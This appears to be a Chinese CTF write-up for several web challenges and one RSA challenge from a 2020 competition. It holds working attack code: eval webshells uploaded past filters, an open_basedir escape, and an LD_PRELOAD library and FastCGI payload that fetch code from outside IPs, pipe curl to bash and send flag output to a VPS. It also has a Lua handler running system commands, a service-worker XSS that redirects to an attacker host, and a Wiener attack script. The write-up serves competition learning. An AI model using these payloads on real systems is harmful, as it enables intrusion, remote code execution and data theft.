Web
谢赵师傅
http://hellodiscuzq.xhlj.wetolink.com/ https://xss.hardxss.xhlj.wetolink.com/ http://newupload.xhlj.wetolink.com/ http://flagshop.xhlj.wetolink.com/ http://easyjson.xhlj.wetolink.com/
EasyJson-100pt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php include 'security.php' ;if (!isset ($_GET['source' ])){ show_source(__FILE__ ); die (); } $sandbox = 'sandbox/' .sha1($_SERVER['HTTP_X_FORWARDED_FOR' ]).'/' ; var_dump($sandbox); if (!file_exists($sandbox)){ mkdir($sandbox); file_put_contents($sandbox."index.php" ,"<?php echo 'Welcome To Dbapp OSS.';?>" ); } $action = $_GET['action' ]; $content = file_get_contents("php://input" ); if ($action == "write" && SecurityCheck('filename' ,$_GET['filename' ]) &&SecurityCheck('content' ,$content)){ $content = json_decode($content); $filename = $_GET['filename' ]; $filecontent = $content->content; $filename = $sandbox.$filename; file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS." ); }elseif ($action == "reset" ){ $files = scandir($sandbox); foreach ($files as $file) { if (!is_dir($file)){ if ($file !== "index.php" ){ unlink($sandbox.$file); } } } } else { die ('Security Check Failed.' ); }
利用json_encode来绕过
json_encode会decode_unicode
很迷,线上复现题目的环境有问题,但比赛时的环境确实是这样打
1 2 3 4 5 php > var_dump(json_decode('{"\u0063":"a"}' )); object (stdClass ) ["c" ]=> string (1 ) "a" }
1 2 3 http://easyjson.xhlj.wetolink.com/?source=&action=write&filename=1.php {"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003C\u003F\u0070\u0068\u0070\u0020\u0040\u0065\u0076\u0061\u006C\u0028\u0024\u005F\u0050\u004F\u0053\u0054\u005B\u0031\u005D\u0029\u003B\u003F\u003E"}
NewUpload-100pt 0x01 方法1 php-fpm绕过disable_function
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1Host : newupload.xhlj.wetolink.comContent-Length : 269Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://newupload.xhlj.wetolink.comContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryuMHYw1G0brA7CDkzUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13iConnection : close------WebKitFormBoundaryuMHYw1G0brA7CDkz Content-Disposition : form-data; name="file"; filename="1.p h p" Content-Type : image/jpeg?? JFIF ` ` ?RExif MM * Q Q <?php phpinfo();?> ------WebKitFormBoundaryuMHYw1G0brA7CDkz--
url三次编码 或 base64_encode绕过bt-waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1Host : newupload.xhlj.wetolink.comContent-Length : 431Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://newupload.xhlj.wetolink.comContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryls1ZIdXEzkMwPVi3User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13iConnection : close------WebKitFormBoundaryls1ZIdXEzkMwPVi3 Content-Disposition : form-data; name="file"; filename="00.ph p" Content-Type : image/gifGIF89an <?php @eval(base64_decode($_POST[1]));?> ------WebKitFormBoundaryls1ZIdXEzkMwPVi3
可以自己写个编码器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 'use strict' ;module.exports = (pwd, data, ext={}) => { data[pwd] = new Buffer(data['_' ]).toString('base64' ); delete data['_' ]; return data; }
但我这边用插件还是无法绕过disable_function,只能另寻他路
learning from https://www.yuque.com/docs/share/ecb03c8b-300a-4146-9d30-3ce396a7bb1d?#
1 2 3 4 5 6 mkdir('fe1w0' );chdir('fe1w0' );ini_set('open_basedir' ,'..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );ini_set('open_basedir' ,'/' ); var_dump(scandir("../../../../../../../../../../../../../" .$_GET['dir' ]));
http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/upload/fe1w0.php?dir=/tmp/
在/tmp可以发现sock文件
时间不早,先打再说
fe1w0.c
1 2 3 4 5 6 7 8 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("curl VPS:PORT/`/readflag`" ); }
编译gcc fe1w0.c -fPIC -shared -o fe1w0.so
将./readflag
结果发给vps
这个部分还有很多不是很懂
用的payload 还是别的师傅的
1 2 3 4 mkdir('fe1w0' );chdir('fe1w0' );ini_set('open_basedir' ,'..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );ini_set('open_basedir' ,'/' ); var_dump(scandir("../../../../../../../../../../../../../" .$_GET['dir' ])); echo copy("http://121.36.37.97/fe1w0.so" ,"/tmp/sky.so" );$fp = stream_socket_client("unix:///tmp/php-cgi-74.sock" , $errno, $errstr,30 );$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00" );stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10 )); }fclose($fp);
Mrkaixin 师傅提示 可以用url三次编码试试,base64可能不行
0x02 再试 用url三次编码成功了
当马很大时base64解码需要耗费大量服务器资源,返回503,所以只能使用三次url编码来绕过
from https://buxqm.github.io/ 师傅
重新配置antsword
得到flag
0x03 方法2 lua脚本执行readflag
learning from https://www.yuque.com/docs/share/ecb03c8b-300a-4146-9d30-3ce396a7bb1d?#
先上传.htaccess
是设置AddHandler lua-script .lua
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1Host : newupload.xhlj.wetolink.comContent-Length : 208Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://newupload.xhlj.wetolink.comContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryYVg7EEthBI9AAXYBUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13iConnection : close------WebKitFormBoundaryYVg7EEthBI9AAXYB Content-Disposition : form-data; name="file"; filename=".htaccess"Content-Type : image/pngAddHandler lua-script .lua ------WebKitFormBoundaryYVg7EEthBI9AAXYB--
再上传lua文件,执行./readflag
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 POST /sandbox/rnmsje0ip4s8ddqp4sbob1j13i/index.php HTTP/1.1Host : newupload.xhlj.wetolink.comContent-Length : 770Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://newupload.xhlj.wetolink.comContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryYVg7EEthBI9AAXYBUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://newupload.xhlj.wetolink.com/sandbox/rnmsje0ip4s8ddqp4sbob1j13i/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : PHPSESSID=rnmsje0ip4s8ddqp4sbob1j13iConnection : close------WebKitFormBoundaryYVg7EEthBI9AAXYB Content-Disposition : form-data; name="file"; filename="try.lua"Content-Type : image/pngrequire "string" --[[ This is the default method name for Lua handlers, see the optional function-name in the LuaMapHandler directive to choose a different entry point. --]] function handle(r) r.content_type = "text/plain" r:puts("Hello Lua World!\n") local t = io.popen('/readflag') local a = t:read("*all") r:puts(a) if r.method == 'GET' then for k, v in pairs( r:parseargs() ) do r:puts( string.format("%s: %s\n", k, v) ) end else r:puts("Unsupported HTTP method " .. r.method) end end ------WebKitFormBoundaryYVg7EEthBI9AAXYB--
记录一下 比赛代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>集中式网盘系统</title> </head> <body> 这个网盘系统非常安全,我觉得应该值十个亿。 <br/> <form id="upload-form" action="index.php" method="post" enctype="multipart/form-data" > <input type="file" id="upload" name="file" /> <br /> <input type="submit" value="上传" /> </form> <?php ini_set('open_basedir' , getcwd()); if (isset ($_FILES["file" ])) { if ($_FILES["file" ]["error" ] > 0 ) { echo "错误:: " . $_FILES["file" ]["error" ] . "<br>" ; } else { echo "上传文件名: " . $_FILES["file" ]["name" ] . "<br>" ; echo "文件类型: " . $_FILES["file" ]["type" ] . "<br>" ; echo "文件大小: " . ($_FILES["file" ]["size" ] / 1024 ) . " kB<br>" ; echo "文件临时存储的位置: " . $_FILES["file" ]["tmp_name" ] . "<br>" ; @mkdir("upload" ); if (file_exists("upload/" . $_FILES["file" ]["name" ])) { echo $_FILES["file" ]["name" ] . " 文件已经存在。 " ; } else { move_uploaded_file($_FILES["file" ]["tmp_name" ], "upload/" . $_FILES["file" ]["name" ]); echo "文件存储在: " . "upload/" . $_FILES["file" ]["name" ]; } } } ?> </body> </html>
HardXSS-200pt 这题大致上照着师傅们的博客复现了一下,有些点还是不懂
learn from
https://www.bertramc.cn/2020/10/09/66.html
https://wulidecade.cn/2020/10/08/2020%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E9%83%A8%E5%88%86web-wp/#more
https://buxqm.github.io/2019/10/12/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91/
首先,在admin login 页面https://xss.hardxss.xhlj.wetolink.com/login
有一个jsonp,详细理解可以看下面的链接
jsonp的核心则是动态添加<script>
标签来调用服务器提供的js脚本,且不排除非本域脚本.
from https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 callback = "get_user_login_status" ; auto_reg_var(); if (typeof (jump_url) == "undefined" || /^\// .test(jump_url)){ jump_url = "/" ; } jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function (result ) { if (result['status' ]){ location.href = jump_url; } }) function jsonp (url, success ) { var script = document .createElement("script" ); if (url.indexOf("callback" ) < 0 ){ var funName = 'callback_' + Date .now() + Math .random().toString().substr(2 , 5 ); url = url + "?" + "callback=" + funName; }else { var funName = callback; } window [funName] = function (data ) { success(data); delete window [funName]; document .body.removeChild(script); } script.src = url; document .body.appendChild(script); } function auto_reg_var ( ) { var search = location.search.slice(1 ); var search_arr = search.split('&' ); for (var i = 0 ;i < search_arr.length; i++){ [key,value] = search_arr[i].split("=" ); window [key] = value; } }
因为auto_reg_var
可控,我们可以输入函数,如https://xss.hardxss.xhlj.wetolink.com/login/?callback=alert(1)
此外,网站所给提示
嘿想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟我收到邮件后会先点开链接然后登录我的网站!
在看代码
1 2 3 if (result['status' ]){ location.href = jump_url; }
当admin登陆后,将获得一个jump_url,用于跳转。
Q:如何获得jump_url
A:利用Service Worker中的fetch 进行监控
具体学习 https://lightless.me/archives/XSS-With-Service-Worker.html
payload
1 2 3 4 5 6 7 8 9 document .domain = "hardxss.xhlj.wetolink.com" ;var iframe = document .createElement('iframe' );iframe.src = 'https://auth.hardxss.xhlj.wetolink.com' ; iframe.addEventListener("load" , function ( ) { iffLoadover(); }); document .body.appendChild(iframe);exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//xzlxr.github.io/b.js');//")` ; function iffLoadover ( ) { iframe.contentWindow.eval(exp); }a
1 2 3 4 5 6 7 8 9 10 11 12 13 self.addEventListener('install' , function (event ) { console .log('install ok!' ); }); this .addEventListener('fetch' , function (event ) { var url = event.request.clone(); console .log('url: ' , url); var body = "<script>location='http://xzaslxr.xyz:8080/'+location.search;</script>" ; var init = {headers : {"Content-Type" : "text/html" }}; var res = new Response(body, init); console .log('finish!' ); event.respondWith(res.clone()); });
当第一次执行时
此外,当没有销毁当前SW时,再次请求,会出现下面情况
1 2 3 嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站! > hash = md5(vcode) > console.log('验证码:'+hash.substr(0,5))
哭,为什么
crypto BrokenSystems-100pt 0x01 方法1 根据public.key得 n,e
1 2 3 4 5 6 7 8 from Crypto.PublicKey import RSAimport ospbf = open('public.key' , 'r' ) pbb = pbf.read() key = RSA.importKey(pbb) print("n = %s" % key.n) print("e = %s" % key.e)
Wiener’s Attack module from https://github.com/truongkma/ctf-tools/blob/master/WienerAttack/wiener-attack.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 import mathimport randomdef bitlength (x ): assert x >= 0 n = 0 while x > 0 : n = n + 1 x = x >> 1 return n def isqrt (n ): if n < 0 : raise ValueError('square root not defined for negative numbers' ) if n == 0 : return 0 a, b = divmod(bitlength(n), 2 ) x = 2 **(a + b) while True : y = (x + n // x) // 2 if y >= x: return x x = y def is_perfect_square (n ): h = n & 0xF if h > 9 : return -1 if (h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ): t = isqrt(n) if t * t == n: return t else : return -1 return -1 def partial_quotiens (x, y ): partials = [] while x != 1 : partials.append(x // y) a = y b = x % y x = a y = b return partials def indexed_convergent (sequence ): i = len(sequence) - 1 num = sequence[i] denom = 1 while i > 0 : i -= 1 a = (sequence[i] * num) + denom b = num num = a denom = b return (num, denom) def convergents (sequence ): c = [] for i in range(1 , len(sequence)): c.append(indexed_convergent(sequence[0 :i])) return c def phiN (e, d, k ): return ((e * d) - 1 ) / k def wiener_attack (N, e ): (p, q, d) = (0 , 0 , 0 ) conv = convergents(partial_quotiens(e, N)) for frac in conv: (k, d) = frac if k == 0 : continue y = -(N - phiN(e, d, k) + 1 ) discr = y * y - 4 * N if (discr >= 0 ): sqr_discr = is_perfect_square(discr) if sqr_discr != -1 and (-y + sqr_discr) % 2 == 0 : p = ((-y + sqr_discr) / 2 ) q = ((-y - sqr_discr) / 2 ) return p, q, d return p, q, d n = 24493816160588971749455534346389861269947121809901305744877671102517333076424951483888863597563544011725032585417200878377314372325231470164799594965293350352923195632229495874587039720317200655351788887974047948082357232348155828924230567816817425104960545706688263839042183224681231800805037117758927837949941052360649778743187012198508745207332696876463490071925421229447425456903529626946628855874075846839745388326224970202749994059533831664092151570836853681204646481502222112116971464211748086292930029540995987019610460396057955900244074999111267618452967579699626655472948383601391620012180211885979095636919 e = 3683191938452247871641914583009119792552938079110383367782698429399084083048335018186915282465581498846777124014232879019914546010406868697694661244001972931366227108140590201194336470785929194895915077935083045957890179080332615291089360169761324533970721460473221959270664692795701362942487885620152952927112838769014944652059440137350285198702402612151501564899791870051001152984815689187374906618917967106000628810361686645504356294175173529719443860140795170776862320812544438211122891112138748710073230404456268507750721647637959502454394140328030018450883598342764577147457231373121223878829298942493059211583 p, q, d = wiener_attack(n, e) print "p = %d" % pprint "q = %d" %qprint "d = %d" %d
生成privage.key
1 python3 rsatool.py -n 24493816160588971749455534346389861269947121809901305744877671102517333076424951483888863597563544011725032585417200878377314372325231470164799594965293350352923195632229495874587039720317200655351788887974047948082357232348155828924230567816817425104960545706688263839042183224681231800805037117758927837949941052360649778743187012198508745207332696876463490071925421229447425456903529626946628855874075846839745388326224970202749994059533831664092151570836853681204646481502222112116971464211748086292930029540995987019610460396057955900244074999111267618452967579699626655472948383601391620012180211885979095636919 -e 3683191938452247871641914583009119792552938079110383367782698429399084083048335018186915282465581498846777124014232879019914546010406868697694661244001972931366227108140590201194336470785929194895915077935083045957890179080332615291089360169761324533970721460473221959270664692795701362942487885620152952927112838769014944652059440137350285198702402612151501564899791870051001152984815689187374906618917967106000628810361686645504356294175173529719443860140795170776862320812544438211122891112138748710073230404456268507750721647637959502454394140328030018450883598342764577147457231373121223878829298942493059211583 -p 163724217068973025857079545677048587508164102644298632911494474022224582218067057349189211462632427829087720476013052665037199232658015194718500750961261016558605363103092187533086949903145449057015220561698195502163792192055762108803714387175594231859738263839090338762578040513451585421537323416472060788989 -q 149604112324264915811376746906108325951188179904814259006959765070266946659481820938211689946210254302179197289522748397160602946376246768419310765669852537378426700376878745285639531531077237124655345323906476180103106894642043615024716862503414785057646920410083538192951872861366496901158348770066798098371 -d 1779217788383673416690068487595062922771414230914791138743960472798057054853883175313487137767631446949382388070798609545617543049566741624609996040273727 -v PEM -o privage.key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 -----BEGIN RSA PRIVATE KEY----- MIIEXgIBAAKCAQEAwgdFIj/1uUss2EEhZvcoiiHyGH4aQhRTkYyrA8gCU0USM+sb3CNjdEIoqoaU qMLLyDP4Dd9AgxpokBsjC4Pz8P7Uty0LlCteld7ayNzABHoq+5DIHtctOtSbcvyL0NMWfd2qarUW fAWN82rxkLIWCFu9nWIfm9I6CT5OPZzDh7YnTywznIjhstkIrLM/TiDmR6vuBxSjzORkbolilLeB A9zJpNt+1oEWTG5sx/0zR24XSmxwcDeyUEkTZfnw63auq6B9svZi2IBIr5jIjHbGcQ25ZY1J/KDK 8fXNmdwH8YhDK0j4VXEWitEPyCS3toK61sql0S/28EySeGtzirGbtwKCAQAdLS8fFz+BzzaP7AbU DUf9kvhhXBLuwUFo8ohCeVK4z1pTj3C6M0G2oXOugDdalrDThNlyKxkUn3iUc3Xgoz315pPtq9Xk 1Ez/qeUl6gFPP6SZtfeymyGdkLiNpVquOghjczjXvtBW467Fdb5Wu95TSzVaLndX23rsqW541n8h Uwt8PsJKxh+bR0qygyIN2VRRNdBlpyTOL49E4y5GDu9fmVgAnFivWVGT135ywl8MsBUFuZPBNTKL EbUA3KvJVckXf4Od0ENYbiWjEzXn1UN9yebNbU6+yyk34WAmwnkuF0X0Tu1UEb6qtV7QkF25GYy9 QxERvodGL0Y2njHRpGE/AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxh IAJ6XDOOIu3YQ1lIecqwAV2pbZNMV38/AoGBAOkmqYadbPNvB9gWhZ7iAMgd2w804HJScDwq+SNS v7XllNnh0CJDbY19G3nsfLQy+R2JqzCCdFmIsCJtBHRIvApMykPnsgG5Qfwj/7XK77LGzb8P7X3m rK4eQrELRjpY8h0+YqMDxJ5OYsr8oVj6rD3QMfVu53XhgqoNHD56lYD9AoGBANULF4Vk4SHNib8C bUL5UtBPEYiD7ePRUFvXmMLEA5MgtOfshpmpBiSiXHW4abGnSO9pXUv0v+TW6VYyYbVDFmWH87vn i6l6+QnUR6qKlegfBxrVL29ycqFaJz+lt/Zo5QPwvr50mgjQ6hOtD+4SAVgk6a059VKyuTho56Xc ojfDAkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6XDOOIu3YQ1lI ecqwAV2pbZNMV38/AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6 XDOOIu3YQ1lIecqwAV2pbZNMV38/AoGBAJ/8/LizZOrBACJ8R1maUWAvuuxI7lGac2B+/A/EcwBJ fOT/qLCPpvFhA0Qje1HqlNSXc9e/FGt1UwxZkJBJJNGhlKRKaB0RJgJW5dA1jfyYU8xpPsDxfdDz Lf2y167IbfqNNmL7ZF8IHj5+hPsB0oVAN0gvoLxcOM2qMOXIt6aM -----END RSA PRIVATE KEY-----
final
1 2 3 4 5 6 7 8 9 from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPkey = RSA.importKey(open('private.key' ).read()) cipher = PKCS1_OAEP.new(key) f = open('message' ,"rb" ) ciphertext=f.read() print(cipher.decrypt(ciphertext))
0x02 方法2
https://github.com/Ganapati/RsaCtfTool
除了pip3 install -r “requirements.txt”,你还需要安装sagemath 下载链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $ python3 ./RsaCtfTool.py --publickey public.key --private [*] Testing key public.key. [*] Performing boneh_durfee attack on public.key. Results for public.key: Private key : -----BEGIN RSA PRIVATE KEY----- MIIEXgIBAAKCAQEAwgdFIj/1uUss2EEhZvcoiiHyGH4aQhRTkYyrA8gCU0USM+sb 3CNjdEIoqoaUqMLLyDP4Dd9AgxpokBsjC4Pz8P7Uty0LlCteld7ayNzABHoq+5DI HtctOtSbcvyL0NMWfd2qarUWfAWN82rxkLIWCFu9nWIfm9I6CT5OPZzDh7YnTywz nIjhstkIrLM/TiDmR6vuBxSjzORkbolilLeBA9zJpNt+1oEWTG5sx/0zR24XSmxw cDeyUEkTZfnw63auq6B9svZi2IBIr5jIjHbGcQ25ZY1J/KDK8fXNmdwH8YhDK0j4 VXEWitEPyCS3toK61sql0S/28EySeGtzirGbtwKCAQAdLS8fFz+BzzaP7AbUDUf9 kvhhXBLuwUFo8ohCeVK4z1pTj3C6M0G2oXOugDdalrDThNlyKxkUn3iUc3Xgoz31 5pPtq9Xk1Ez/qeUl6gFPP6SZtfeymyGdkLiNpVquOghjczjXvtBW467Fdb5Wu95T SzVaLndX23rsqW541n8hUwt8PsJKxh+bR0qygyIN2VRRNdBlpyTOL49E4y5GDu9f mVgAnFivWVGT135ywl8MsBUFuZPBNTKLEbUA3KvJVckXf4Od0ENYbiWjEzXn1UN9 yebNbU6+yyk34WAmwnkuF0X0Tu1UEb6qtV7QkF25GYy9QxERvodGL0Y2njHRpGE/ AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6XDOO Iu3YQ1lIecqwAV2pbZNMV38/AoGBAOkmqYadbPNvB9gWhZ7iAMgd2w804HJScDwq +SNSv7XllNnh0CJDbY19G3nsfLQy+R2JqzCCdFmIsCJtBHRIvApMykPnsgG5Qfwj /7XK77LGzb8P7X3mrK4eQrELRjpY8h0+YqMDxJ5OYsr8oVj6rD3QMfVu53XhgqoN HD56lYD9AoGBANULF4Vk4SHNib8CbUL5UtBPEYiD7ePRUFvXmMLEA5MgtOfshpmp BiSiXHW4abGnSO9pXUv0v+TW6VYyYbVDFmWH87vni6l6+QnUR6qKlegfBxrVL29y cqFaJz+lt/Zo5QPwvr50mgjQ6hOtD+4SAVgk6a059VKyuTho56XcojfDAkAh+KKp FWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8QtzAJCoxhIAJ6XDOOIu3YQ1lI ecqwAV2pbZNMV38/AkAh+KKpFWG886QHeF2pJ1y02WI/ujRcTwcW8ua4XraWCV8Q tzAJCoxhIAJ6XDOOIu3YQ1lIecqwAV2pbZNMV38/AoGBAJ/8/LizZOrBACJ8R1ma UWAvuuxI7lGac2B+/A/EcwBJfOT/qLCPpvFhA0Qje1HqlNSXc9e/FGt1UwxZkJBJ JNGhlKRKaB0RJgJW5dA1jfyYU8xpPsDxfdDzLf2y167IbfqNNmL7ZF8IHj5+hPsB 0oVAN0gvoLxcOM2qMOXIt6aM -----END RSA PRIVATE KEY-----
指令说明 使用 rsautl (RSA command)模板;-decrypt 解密;-inkey private.key 导入私钥;导入文件;-oaep oaep格式填充;
1 2 $ openssl rsautl -decrypt -inkey private.key -keyform PEM -in message -oaep DASCTF{ce02347b86167f2d3519251b9a8a5ba8}%